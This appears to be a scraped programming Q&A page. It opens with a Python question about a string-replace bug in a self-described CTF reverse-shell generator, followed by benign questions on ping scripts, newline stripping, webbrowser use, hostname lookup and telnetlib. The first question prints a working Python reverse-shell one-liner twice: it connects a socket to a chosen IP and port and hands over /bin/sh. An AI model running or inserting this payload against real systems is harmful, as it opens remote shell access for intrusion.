Removing multiple strings in a file replace() not working - python

I am at the moment experiencing some issues with my code. I am creating a reverse shell generator that automates with pentests for Capture flag competitions.
The script will read a file containing payloads, further the script will choose a specific line to be fetched and then replace the back connect ip address and port and output the payload to the user.
However i am stuck on some issues. The issue is that i am trying to replace two different strings upon reading a file containing my text, one of the strings gets replaced, while the other do not:
Strings to be replaced
[ip]
[port]
I have as well reviewed previous article using regex, but did not get further luck. Recieving error on the regex part that is commented out in my code: "unexpected token"
My code:
import socket
import base64
import hashlib
import re
import os # Fetching ip from interface
import linecache # for reading specific lines
ip = str(input("Host ip\n"))
port = str(input("port\n"))
#shell = str(input("Please select an option?\n"))
def full():
print("Welcome, lets generate a choosen reverse shell\n")
global ip
global port
print("please select language and shell option:\n [1] - python(Alphanumeric reverse shell)\n, [2] PHP(Alphanumeric reverse shell)\n")
selection = input("Type in number:\t")
if int(selection) == 1:
with open("myshells.txt", "r") as shells:
#for myreplace in (("[ip]", ip), ("[port]", port)):
fetchshell = linecache.getline('myshells.txt', 1)
ipreplaced = fetchshell.replace("[ip]", ip)
ipreplaced = fetchshell.replace("[port]", port)
print(ipreplaced)
"""for line in fetchshell:
myport = line.write(re.sub(r"(port)", port))
myip = line.write((re.sub(r"(ip)", ip))
print(line)"""
File contents:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Sample output from above code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Related

Python3 inconsistent output inside open function and for loop

This is the code. Somehow the output is not consistent. There is a new line for the first 2 lines in ip.txt while the third is working as expected.
code.py
import subprocess
with open('ip.txt') as f:
for IPAddr in f:
ping = subprocess.Popen(['ping','-c','1',IPAddr],stdout=f).wait()
if ping == 0:
print(f'{IPAddr} is up')
else:
print(f'{IPAddr} is down')
ip.txt
127.0.0.1
10.0.0.1
127.0.0.1
Output
user#linux:~$ python 01.py
127.0.0.1
is up
10.0.0.1
is down
127.0.0.1 is up
user#linux:~$
Desired Output
user#linux:~$ python code.py
127.0.0.1 is up
10.0.0.1 is down
127.0.0.1 is up
user#linux:~$
What's wrong with this code and how to fix it?
Update
The following solutions work! Many thanks
IPAddr = IPAddr.replace('\n','')
IPAddr = IPAddr.rstrip("\n")
IPAddr = IPAddr.strip()
You're including the newline characters from your file in your print.
Remove the \n like this:
import subprocess
with open('ip.txt') as f:
for IPAddr in f:
IPAddr = IPAddr.replace('\n', '') # Remove the newline
ping = subprocess.Popen(['ping','-c','1',IPAddr],stdout=f).wait()
if ping == 0:
print(f'{IPAddr} is up')
else:
print(f'{IPAddr} is down')
Or if you want to do it more broadly, you can remove all whitespace by using:
IPAddr = IPAddr.strip()
Or if you want to be super duper efficient, just strip the \n from the right:
IPAddr = IPAddr.rstrip("\n")
When iterating over a file line by line, each line ends with the newline marker ("\n"), so what you pass to print() is actually "127.0.0.1\n is up", not "127.0.0.1 is up".
The solution is quite simple: remove the newline:
for IPAddr in f:
IPAddr = IPAddr.rstrip("\n")
# etc
Note that since external inputs (files, user inputs etc) are totally unreliable, you would be better stripping all whitespaces from the line, check it's not empty (it's common to have empty lines in text files, specially at the end) and then skip that line (with a continue statement), and if not empty you probably want to validate the value is a valid IP address (and if not skip it too)...

How to write/append PING results to output file

Fairly new to Python so forgive the basic question and my repetitive coding. I'm trying to write a script that PINGs a network segment then writes the results to a couple of TXT files.
I have the PING scan part working just fine with some code I found online, just cant get the results to save in the files. The files get created but they are blank.
Can someone check this out and give me some recommendations?
import os
import os.path
import sys
import subprocess
import ipaddress
# Prompt the user to input a network address
network = input("Enter a network address in CIDR format(ex.192.168.1.0/24): ")
# Create the network
ip_net = ipaddress.ip_network(network)
# Get all hosts on that network
all_hosts = list(ip_net.hosts())
# Create output file in preset directory
os.chdir("C:\\Python364\\Output")
onlineHosts = "Online_Hosts.txt"
offlineHosts = "Offline_Hosts.txt"
on = open(onlineHosts, 'a') # File object 'on' is created with append mode
off = open(offlineHosts, 'a') # File object 'off' is created with append mode
# Configure subprocess to hide the console window
info = subprocess.STARTUPINFO()
info.dwFlags |= subprocess.STARTF_USESHOWWINDOW
info.wShowWindow = subprocess.SW_HIDE
# For each IP address in the subnet,
# run the ping command with subprocess.popen interface
for i in range(len(all_hosts)):
output = subprocess.Popen(['ping', '-n', '1', '-w', '500', str(all_hosts[i])], stdout=subprocess.PIPE, startupinfo=info).communicate()[0]
if "Destination host unreachable" in output.decode('utf-8'):
print(str(all_hosts[i]), "is Offline")
result = str(all_hosts[i])
off.write(result)
elif "Request timed out" in output.decode('utf-8'):
print(str(all_hosts[i]), "is Offline")
result = str(all_hosts[i])
off.write(result)
else:
print(str(all_hosts[i]), "is Online")
result = str(all_hosts[i])
on.write(result
Make sure to close the files when finished with them. The writing may stay in the buffer until you do.
on.close()
off.close()
To write immediately without closing, you can flush the buffers:
on.flush()
off.flush()
If one only want to use the shell, I found the following to be helpful for this problem: https://ss64.com/nt/type.html
To write the ping results to the output file, type:
ping -t "SomeIPAddress" > newfile.txt
To append ping results to the existing output file, type:
ping -t "some IP address" >> existingfile.txt
If you also want to add a timestamp on the ping results, then you can type the following in the Powershell:
ping -t "SomeIPAddress"|Foreach{"{0} - {1}" -f (Get-Date),$_} > > newfile.txt
Source: https://support.solarwinds.com/SuccessCenter/s/article/Ping-Test-and-save-to-text-file?language=en_US

Using webbrowser module to use Google Maps

i'm just new to python and i want to ask a simple question.
what's the difference between using this code:
import webbrowser, pyperclip, sys
chrome = "C:/Program Files/Google/Chrome/Application/chrome.exe %s"
def location_finder():
output = input('Type the place you want to find!\n')
webbrowser.get(chrome).open('https://www.google.com/maps/place/' + output)
location_finder()
and this code:
import webbrowser, pyperclip, sys
if len(sys.argv) > 1:
address = ' '.join(sys.argv[1:])
else:
address = pyperclip.paste()
webbrowser.open('https://www.google.com/maps/place/' + address)
The diffrent is:
With the first one, using target browser is chrome.exe and the second is using the default browser.
The first code using import from built in function input and the second code sys.argvis automatically a list of strings representing the arguments (as separated by spaces) on the command-line. The sys.argv[1:] get everything after the script name.

python - print output

I have created this below script and it works fine. But the output is not friendly (see below). I want the first line to display only the hostname and IP and remove (,'[], please suggest
('testhostname', [], ['10.10.10.10'])
cannot resolve hostname: 10.10.10.11
import socket
pfile = open ('C:\\Python27\\scripts\\test.txt')
while True:
IP = pfile.readline()
if not IP:
break
try:
host = socket.gethostbyaddr(IP.rstrip())
print host
except socket.herror, err:
print "cannot resolve hostname: ", IP
pfile.close()
Rather than printing all of the host tuple that is returned by gethostbyaddr, I suggest unpacking into separate variables that you can then print as you see fit:
hostname, alias_list, ip_addr_list = gethostbyaddr(IP.rstrip())
print hostname, ip_addr_list # or ip_addr_list[0] if you only want the one IP
If you want more control over the formatting, I suggest using the str.format method:
print "hostname: {}, IP(s): {}".format(hostname, ", ".join(ip_addr_list))
Also, a few other code suggestions (not directly related to your main question):
Use a with statement rather than manually opening and closing your file.
Iterate on the file object directly (with for IP in pfile:), rather than using while True: and calling pfile.readline() each time through.
Use the syntax except socek.herror as err rather than the older form with commas (which is deprecated in Python 2 and no longer exists in Python 3).

Python program to connect to console via telnetlib

Hi I am a tcl person trying to do a day to day activity in Python in order to get familiarity with a new language and to compare Python with tcl. No one wants tcl programs anymore :)
Ok , So I have come with a code to automate this typical activity I would do to clear a console line .
$ telnet 172.28.247.240
Trying 172.28.247.240...
Escape character is '^]'.
User Access Verification
Password:
labc-f18-ts>en
Password:
labc-f18-ts#clear line 66
[confirm]
[OK]
My Code looks like this:
import getpass
import sys
import telnetlib
a_tuple = [ ('172.28.247.240' , 66)]
HOST = j[0]
user = "admin"
password = "1234"
tn = telnetlib.Telnet(HOST)
tn.read_until("login: ")
tn.write(user + "\n")
if password:
tn.read_until("Password: ")
tn.write(password + "\n")
tn.read_until("labc-f18-ts>")
tn.write ("en" +"\n")
tn.read_until("labc-f18-ts#")
tn.write("clear line %d" %j[1])
tn.write("exit\n")
sess_op = tn.read_all()
print sess_op
But I dont seem to get any output and dont know if it actually cleared the lines - there is no output whatsoever. Please help.
Also is there anything like pexpect that I should be working with rather what I have above?
import telnetlib
# ...
a_tuple = [('172.28.247.240', 66)]
HOST = a_tuple[0] # do you mean to use 'a_tuple' instead of 'j'?
# ...
tn = telnetlib.Telnet(HOST[0], HOST[1]) # <-- pass the port, I don't think this accepts tuples of hostname/ip and port
# ...
Should part of your code looks like above instead?
Also, I would normally use carriage return (\r) instead of new line (\n) when sending commands. Some host are picky about this.

Categories

Resources